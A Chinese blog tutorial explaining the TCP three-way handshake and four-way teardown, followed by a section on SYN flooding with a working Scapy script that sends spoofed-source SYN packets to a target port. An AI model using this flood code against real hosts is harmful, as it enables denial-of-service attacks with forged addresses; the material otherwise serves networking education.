深入理解三次握手四次揮手以及使用scapy實現ddos雛形


前言

確認位ACK 只有當ACK=1時確認號字段才有效。當ACK=0時,確認號無效

TCP規定,在連接建立后所有傳送的報文段都必須把ACK置1

同步位SYN 同步SYN=1表示這是一個連接請求或者連接接收報文

當SYN=1,ACK=0時,表明這是一個連接請求報文,對方若同意建立連接,則在響應報文中使用SYN=1,ACK=1.即,SYN=1就表示這是一個連接請求或連接接收報文

終止位 FIN 用來釋放一個連接。FIN=1表面此報文段的發送方的數據已發送完畢,並要求釋放傳輸連接。

三次握手

第一步:客戶機的TCP首先向服務器的TCP發送一個連接請求報文段。這個特殊的報文段中不含應用層數據,其首部中的SYN標志位被置為1.另外,客戶機會隨機選擇一個啟始序號seq=x(連接請求報文不攜帶數據,但要消耗掉一個序號)

第二步:服務器的TCP收到連接請求報文段后,如同意建立連接,就向客戶機發回確認,並為該TCP連接分配TCP緩存和變量。在確認報文段中,SYN和ACK位都被置為1,確認號字段的值為x+1,並且服務器隨機產生起始序列號seq=y(確認報文不攜帶數據,但也要消耗掉一個序號)。確認報文段同樣不包含應用層數據

第三步:當客戶機收到確認報文段后,還要向服務器給出確認,並且也要給該連接分配緩存和變量。這個報文段的ACK標志位被置1,序號字段為x+1,確認號字段ack=y+1.該報文段可以攜帶數據,如果不攜帶數據則不消耗序號

接下來就可以接收數據了,由於TCP是全雙工通信,因此通信兩方的應用進程在任何時候都能發送數據

另外, 服務器端的資源是在完成第二次握手時分配的,而客戶端的資源是在完成第三次握手時分配的。這就使得服務器易於受到SYN泛洪攻擊

四次揮手

第一步:客戶機打算關閉連接,就向其TCP發送一個連接釋放報文段,並停止再發送數據,主動關閉TCP連接,該報文段的FIN標志位被置1,seq=u,它等於前面已傳送過的數據的最后一個字節的序號加1(FIN報文段即使不攜帶數據,也要消耗掉一個序號)。TCP是全雙工的,即可以想象成是一條TCP連接上有兩條數據通路,當發送FIN報文時,發送FIN的一端就不能再發送數據,也就是關閉了其中一條數據通路,但對方還可以發送數據

第二步:服務器收到連接釋放報文段后即發出確認,確認后是ack=u+1,而這個報文段自己的序號為v,等於它前面已傳送過的數據的最后一個字節的序號加1.此時,從客戶機到服務器這個方向的連接就釋放了,TCP連接處於半關閉狀態。但服務器若發送數據,客戶機仍要接收,即從服務器到客戶機這個方向的連接並未關閉

第三步:若服務器已經沒有要向客戶機發送的數據,就通知TCP釋放連接,此時其發出FIN=1的連接釋放報文段

第四步:客戶機收到連接釋放報文段后,必須發出確認。在確認報文段中,ACK字段被置為1,確認后為ack=w+1,序號為seq=u+1.此時TCP連接還沒有釋放掉,必須經過時間等待計時器設置的時間2MSL后,客戶機才進入到連接關閉狀態。

總結

  • 連接建立
    • SYN=1, seq=x
    • SYN=1, ACK=1, seq=y, ack=x+1
    • ACK=1, seq=x+1, ack=y+1
  • 釋放連接
    • FIN=1, seq=u
    • ACK=1, seq=v, ack=u+1
    • FIN=1, ACK=1, seq=w, ack=u+1
    • ACK=1, seq=u+1, ack=w+1

SYN泛洪攻擊

SYN攻擊利用的是TCP三次握手機制,攻擊端利用偽造的IP地址向被攻擊端發出請求,而被攻擊端發出的響應報文將永遠發送不到目的地,那么被攻擊端在等待關閉這個連接的過程中消耗了資源,如果有成千上萬的這種連接,主機資源將被耗盡,從而達到攻擊的目的。

Scapy實現ddos簡單攻擊

使用Scapy構造一個簡單的數據包看一下:

pkt = IP(dst = "192.168.0.10")

接下來我們就構造一個SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

(我們構造了一個IP包和TCP包並將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設定為S說明要發送的是SYN數據包)

代碼實現

import random
from scapy.all import *

def synFlood(tgt,dPort):
    srclist = ['33.56.32.1','128.33.69.52','211.2.32.23','221.43.39.137']
    for sPort in range(1,65535):
        index = random.randint(0,3)
        ipLayer = IP(src = srclist[index],dst = tgt)
        tcoLayer = TCP(sport = sPort, dport = dPort, flags = 'S')
        packet1 = ipLayer/tcoLayer
        print(packet1)
        send(packet1)

synFlood('127.0.0.1',80)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM